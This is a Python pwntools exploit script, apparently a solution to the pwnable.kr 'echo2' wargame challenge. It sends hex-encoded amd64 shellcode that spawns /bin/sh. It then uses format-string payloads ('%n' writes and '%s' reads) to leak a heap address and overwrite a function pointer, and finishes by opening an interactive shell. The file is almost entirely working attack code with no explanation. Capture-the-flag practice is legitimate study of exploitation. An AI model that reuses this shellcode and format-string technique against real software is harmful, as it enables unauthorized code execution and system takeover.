pwnable-rookiss-echo2.py

#!/usr/bin/env python
# coding=utf8

from pwn import u64, process, remote, shellcraft, context, asm

context.arch = 'amd64'

bss_o = 0x602098

p = process('./echo2')
# p = remote('pwnable.kr', 9011)
# p = remote('localhost', 9011)

# shellcode = shellcraft.sh()
# payload = asm(shellcode)
payload = '6a6848b82f62696e2f2f2f73504889e731f66a3b58990f05'.decode('hex')
p.sendline(payload)

# leak malloc_o
p.recvuntil('>')
p.sendline('2')
p.sendline('%%%dc%%10$n' % bss_o)
p.recvline()

p.recvuntil('>')
p.sendline('2')
p.sendline('%18$s')
p.recvline()

malloc_o = u64(p.recvline()[:-1].ljust(8, '\x00'))
print hex(malloc_o)

# modify byebye
p.recvuntil('>')
p.sendline('2')
p.sendline('%%%dc%%10$n' % (malloc_o + 0x20))
p.recvline()

p.recvuntil('>')
p.sendline('2')
p.sendline('%%%dc%%18$n' % malloc_o)
p.recvline()

p.clean()
p.interactive()